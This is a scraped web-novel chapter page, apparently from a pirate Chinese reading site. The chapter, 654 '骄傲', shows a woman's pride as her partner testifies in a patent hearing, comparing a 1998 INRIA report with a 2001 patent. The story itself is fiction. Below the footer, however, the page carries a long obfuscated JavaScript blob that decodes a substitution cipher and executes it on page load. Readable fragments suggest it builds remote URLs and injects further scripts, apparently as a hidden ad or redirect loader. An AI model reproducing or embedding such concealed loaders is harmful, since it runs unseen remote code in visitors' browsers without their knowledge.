首页
[切换至繁体版]
返回

第六五四章 骄傲

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第六五四章骄傲(第1/2页)
    旁听席后排,林清晓坐得笔直,双手在膝盖上不自觉地交握着,指尖微微发凉。
    她穿着一身剪裁合体的深蓝色套裙,颜色稳重,并不引人注目,长发一丝不苟地束在脑后,露出光洁的额头和优美的脖颈线条。
    脸上化了淡妆,遮掩了长途飞行和连日紧张带来的些许疲惫,但那份清冷的气质在庄严肃穆的法庭环境中,反而显得恰如其分。
    她的位置视野很好,能清晰地看到整个法庭的布局,以及那个此刻站在或坐在证人席上、吸引了几乎所有人目光的身影——沈墨华。
    从听证会开始,她的目光就几乎没有离开过他,仿佛一道无声的锚,牢牢系在他身上。
    她看着他从容起身,脱下西装外套,只着整洁衬衫走向证人席,步履平稳,背影挺直如松。
    她看着他面对对方律师马库斯·韦斯顿咄咄逼人、充满陷阱的提问,脸上始终是那副惯常的、没什么表情的冷静,仿佛那些尖锐的言辞和复杂的术语不过是拂过冰面的微风。
    她听着他用流利而清晰的英语,不疾不徐地拆解着一个个技术难题,从“绑定器”与“消息队列”的本质区别,到“应用沙箱”与“硬件虚拟化隔离”的范畴不同。
    那些操作系统内核、进程通信、安全架构之类的词汇,对她而言如同天书,完全无法理解其中的技术精妙。
    但奇怪的是,她并不感到隔阂或茫然。
    因为她能听懂他语调里的那份绝对笃定,能看懂他眼神中那如同精密仪器般运转的专注逻辑,能感受到他每一个回答背后所支撑的、扎实到无可撼动的事实与数据。
    那是一种超越具体技术细节的、纯粹的智力与掌控力的展现。
    当他走到白板前,用简洁的图示区分抽象接口与具体实现时,林清晓的目光不由自主地追随着他握笔的手。
    那手指修长而稳定,划出的线条干净利落,如同他说话的逻辑。
    当他面对韦斯顿试图贬低安卓技术“落后”的刁钻问题时,他嘴角那几乎看不见的微抿,以及随之而来那句冷静的“范畴错误”,让林清晓的心脏像是被什么轻轻抓了一下。
    那不是紧张,而是一种……近乎战栗的触动。
    她见过他在健身垫上笨拙挣扎的模样,见过他被她“碾压”后耳根泛红的窘迫,见过他在书房熬夜后略显凌乱的发梢和眼下淡淡的青影。
    但此刻,在这个充斥着陌生规则、高压对峙的异国法庭上,他褪去了所有那些她熟悉的、甚至偶尔会觉得“不过如此”的表象,展现出一种她前所未见的、如同出鞘名剑般的锋利与光华。
    那是一种基于绝对专业能力和强大心理素质的、对局面的全然掌控。
    对方律师的声势在他冷静的拆解下,仿佛撞上了无形的铜墙铁壁,每一次试图扰乱节奏的进攻,都被他以更清晰的逻辑和更确凿的依据轻易化解。
    然后,她看到他抓住了时机,顺势引出了那份关键的报告。
    当法庭屏幕亮起,左右并排显示出1998年的陈旧报告与对方光鲜的专利文本时,林清晓的呼吸下意识地屏住了。
    即使她看不懂那些复杂的架构图和术语,但那鲜明的日期对比——“1998年6月”与“2001年8月”——以及沈墨华用激光笔清晰指出的、那些跨越了数年时光却惊人相似的描述,如同一道强烈的闪电,瞬间照亮了这场诉讼的某个核心。
    她看到沈墨华站在屏幕旁,红色的激光点稳定地移动,他的声音平稳而有力,将两份材料丝丝入扣地进行比对,逻辑严密得如同最精密的数学证明。
    “全场寂静。”
    那一刻,法庭里仿佛连空气都停止了流动。
    林清晓能听到自己胸腔里心脏搏动的声音,咚咚,咚咚,比平时更快,更重。
    一种难以言喻的情绪在她心底汹涌翻腾,混合着震撼、明悟,以及一种……她从未对他产生过的、如此清晰而强烈的**骄傲**。
    是的,骄傲。
    为她身边这个看似毒舌挑剔、生活不能自理、却在属于自己的战场上如此闪耀强大的男人感到骄傲。
    这份骄傲与平时完成任务获得认可的感觉截然不同,它更温热,更澎湃,更带着一丝隐秘的、与她紧密相关的悸动。
    她意识到,自己正在见证的,不仅仅是一场法律技术辩论的胜利前奏,更是沈墨华这个人,在其真正擅长的领域里,如何以绝对的智力优势和沉稳气度,一步步将看似不利的局面彻底扭转。
    她的目光紧紧跟随着他,看着他冷静剖析完毕,从容回到座位,那份悸动久久未能平息,甚至让她交握的手指微微收紧了。
    沈墨华关于INRIA报告与涉案专利核心构思实质性相似的对比陈述,以及对方律师韦斯顿在后续交叉询问中暴露出的慌乱和矛盾,显然给法官留下了极深的印象。
    那位头发花白、面容严肃的资深法官,在韦斯顿结束交叉询问、罗伯特也完成再次直接询问(re-direct)后,并未立刻宣布此环节结束或进入下一议程。
    他摘下老花镜,用手帕轻轻擦拭着镜片,目光却一直停留在面前摊开的文件上,那是沈墨华证言笔录的实时记录,以及旁边摆放着的D-127号证据(INRIA报告)的摘要。
    片刻后,他重新戴好眼镜,身体微微前倾,目光越过镜片上方,直接投向了证人席上的沈墨华。
    他的语气不再像之前主持程序时那般刻板,而是带着一种探究的、近乎学术讨论般的认真。
    “沈先生,”法官开口,声音在安静的法庭里显得格外清晰,“关于你刚才重点提及的这份……INRIA技术报告,以及你将其与涉案专利进行的对比,我有几个问题希望你能进一步澄清。”
    此言一出,原告席上的律师们脸色更加难看,被告席上的罗伯特等人则精神一振,身体微微前倾。
    法官主动追问细节,尤其是在对方律师交叉询问不利之后,这通常是一个积极的信号,表明法官对这份证据及其论证产生了“浓厚的兴趣”,并且希望在其做出关键性的“权利要求解释”裁决前,尽可能夯实自己的理解。
    “当然,法官阁下。”沈墨华微微颔首,神情依旧是那份专注的平静,等待着问题。
    “第一个问题,”法官用手指点了点面前的文件,“这份1998年的报告,你声称它公开披露了与涉案专利相似的技术构思。但报告中所用的术语,比如‘微内核’、‘能力’、‘异步消息’,与专利文件中使用的术语并非完全一致。从一名本领域普通技术人员的角度,在阅读了这份报告后,是否能够**毫无歧义地**认识到,它揭示了后来专利中要求保护的‘发明’?”
    这个问题非常关键,触及了“前案”是否能够“预期”(anticipate)后专利的核心法律标准——即前案公开的内容,是否足以让技术人员直接、毫无疑义地得到后专利所要求保护的技术方案。
    沈墨华略微沉吟,显然在仔细组织语言,确保回答既严谨专业,又能让法官准确理解。
    “法官阁下,专利法所关注的,是技术方案的**实质内容**,而非术语的**字面表述**是否完全一致。”他开口,声音平稳而清晰。
    “以‘微内核’为例。在这份1998年的报告中,它明确描述了将操作系统核心功能最小化,其他功能作为独立模块运行的设计哲学。而在涉案专利中,可能使用了‘最小化核心调度器’、‘独立服务模块’等措辞。尽管用词不同,但二者所指向的**技术架构模型和设计原则**是同一的——即区别于传统的单一内核(MonolithicKernel),将系统功能模块化、服务化。”
    (本章未完,请点击下一页继续阅读)第六五四章骄傲(第2/2页)
    他稍微停顿,让法官消化,然后继续,“再比如‘能力’模型与‘动态资源访问控制层’。报告详细阐述了基于‘能力列表’来控制模块间资源访问的机制,这是一种具体的、软件实现的安全模型。专利中可能使用了更宽泛的‘动态资源访问控制层’来描述类似的安全目标。但阅读报告的技术人员,完全可以理解到,这里讨论的是如何在模块化系统中实施访问控制这一**技术问题**,并且报告提供了一种具体的**解决方案**(能力模型)。这已经构成了对该技术构思的充分披露。”
    他的回答紧扣“技术实质”与“法律要求”的交叉点,既专业又具有说服力。
    法官若有所思地点了点头,在面前的笔记本上记录了几笔,接着提出第二个问题,语气更加深入:“那么,关于时间性。这份报告是1998年6月公开的。而涉案专利最早的申请日是2001年8月,中间间隔超过三年。在这三年里,移动计算技术本身也在快速发展。你是否能提供一些**可验证的数据或公认的技术发展脉络**,来佐证在这三年间,报告中所描述的这种架构思想,在行业内是处于一种相对稳定或持续讨论的状态,而非已经被摒弃或发生了根本性改变?换句话说,它是否一直构成‘现有技术’的一部分,直至专利申请日?”
    这个问题要求沈墨华不仅指出前案存在,还要论证其在整个时间区间内的“技术延续性”和“公开状态的持续性”,这无疑增加了论证的难度和所需的知识广度。
    沈墨华的神色依旧不变,仿佛法官的问题正在他预想的轨道之内。
    “可以,法官阁下。”他从容回答,“这里有几个可验证的数据点。”
    “第一,引用索引。通过检索学术数据库(如CiteSeerX,在2004年已具备一定规模),可以查证,这份INRIA报告在1999年至2001年间,被至少**十七篇**后续的学术论文或技术报告所引用,这些后续文献的研究主题均涉及嵌入式系统、实时操作系统或移动计算架构。这证明该报告的思想在相关学术圈内持续传播并被讨论。”
    他给出的是具体、可查证的数据。
    “第二,行业会议议题。查阅1999年至2001年间主要的嵌入式系统与实时计算国际会议(如RTSS,RTAS)的议程和论文集,可以发现有多个session的讨论主题涉及‘微内核在消费电子设备中的应用’、‘移动设备的安全隔离机制’等,其中引用的关键文献往往包括这份INRIA报告或其思想衍生的工作。这表明该架构思想在工业界的前沿探索中一直占有一席之地。”
    他提供了另一个维度的佐证。
    “第三,商业实践参照。在同一时期,一些面向嵌入式市场的商业实时操作系统(如QNXNeutrino,于2000年左右推出其新一代微内核架构),其公开的白皮书和技术文档中阐述的设计理念,与报告中描述的模块化、消息传递等原则存在明显的呼应。这说明类似的思想正在从学术研究向商业产品转化。”
    他最后总结道,“因此,有充分的客观证据表明,在1998年报告公开至2001年专利申请日之间,其所承载的架构思想非但没有被摒弃,反而在学术和工业界持续演进和讨论,始终构成该领域‘现有技术’知识库中活跃的一部分。涉案专利的申请,并未脱离这一持续发展的技术背景。”
    法官听着沈墨华条理清晰、层层递进的回答,手指无意识地在桌面上轻轻敲击着,眼中流露出越来越明显的赞许和了然。
    沈墨华的回答没有华丽的辞藻,没有激昂的情绪,只有严谨的技术语言、可验证的数据引用和清晰的逻辑推演,而这恰恰是法官在做出复杂技术性法律裁决时最需要、也最看重的品质。
    “我明白了。感谢你的详细说明,沈先生。”法官的语气明显缓和了许多,甚至带上了一丝几乎难以察觉的欣赏。
    他又问了两个关于报告中某个具体图示与专利某个权利要求特征映射的技术细节问题,沈墨华均以同样精准、客观的方式给予解答,并主动提示可以参考报告的具体页码和专利说明书的对应段落进行核实。
    法官的问题终于告一段落。
    他环视法庭,宣布暂时休庭十五分钟,以便双方律师整理思路,准备后续关于其他权利要求术语的辩论。
    法槌落下,沉闷的声响在法庭内回荡。
    休庭的铃声仿佛解除了某种魔法。
    一直紧绷的法庭气氛出现了瞬间的松动,低低的交谈声开始响起。
    沈墨华从证人席上站起身,略微活动了一下因为长时间保持坐姿而有些僵硬的肩颈,然后拿起搭在椅背上的西装外套,步履沉稳地走向被告席区域,与罗伯特等人低声快速交流着。
    他的脸上依旧没什么表情,但周身那股高度凝聚的专注感稍微散去了一些。
    而原告席那边,则是另一番截然不同的景象。
    “TitanTech”方面的团队,包括其首席律师
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();